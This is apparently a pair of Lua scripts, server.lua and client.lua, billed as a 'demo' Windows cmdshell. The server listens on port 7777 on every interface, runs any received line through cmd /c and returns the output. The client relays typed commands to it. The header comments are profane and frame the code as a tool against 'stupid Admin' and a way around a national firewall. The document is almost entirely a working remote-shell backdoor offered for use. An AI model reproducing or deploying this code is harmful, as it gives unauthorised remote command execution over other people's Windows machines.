A demo abou cmdshell for windows with lua
very simple
i will do more stronge fucking tool to fucking stupid Admin(MS$ i like your ass)
fucking gfw just for our free
]]
require('socket')
host = "*"
port = 7777
if arg then
host = arg[1] or host
port = arg[2] or port
end
print ("host")
print("Binding to host '" ..host.. "' and port " ..port.. "...")
s1 = assert(socket.bind(host, port))
i, p = s1:getsockname()
assert(i, p)
print("Waiting connection from Tel on " .. i .. ":" .. p .. "...")
while true do
c1 = s1:accept()
print("Connected. Here is the stuff:")
--c1:settimeout(5)
i,p = c1:receive('*l')
cmdlog =os.tmpname()
while true do
if i then
print(i)
--local cmdlog = io.tmpfile()
os.execute("cmd/c "..i..">"..cmdlog)
print(cmdlog)
if i == "ds" then os.remove(cmdlog) print ("God Fucking Die") os.exit() end
if i == "dc" then break print ("Winger Flying Away") end
for line in io.lines(cmdlog) do assert(c1:send(line.."\r\n")) print (line) end
--print("good send 1 ")
i, e , m= c1:receive('*l')
if i then print ("receive---"..i) else print (e) break end
end
end
c1:close()
end
os.remove(cmdlog)
client.lua
--[[
ver:Lua 5.1.4
creater:winger
A demo abou cmdshell for windows with lua
very simple
i will do more stronge fucking tool to fucking stupid Admin(MS$ i like your ass)
fucking gfw just for our free
]]
local sock = require('socket')
host = host or "localhost"
port = port or 7777
if arg then
host = arg[1] or host
port = arg[2] or port
end
print("Attempting connection to host '" ..host.. "' and port " ..port.. "...")
client = assert(socket.connect(host, port))
print("Connected! Please type stuff ('dc' to drop winger 'ds' to drop god):")
client:settimeout(1)
cmd = io.read()
while cmd and cmd ~= "dc" do
assert(client:send(cmd.."\n"))
s,status,partial = client:receive("*a")
print (s or partial )
cmd = io.read()
if status == "closed" then print(status) break end
end
assert(client:send("dc"))
client:close()
--
JUST BEGINING NOW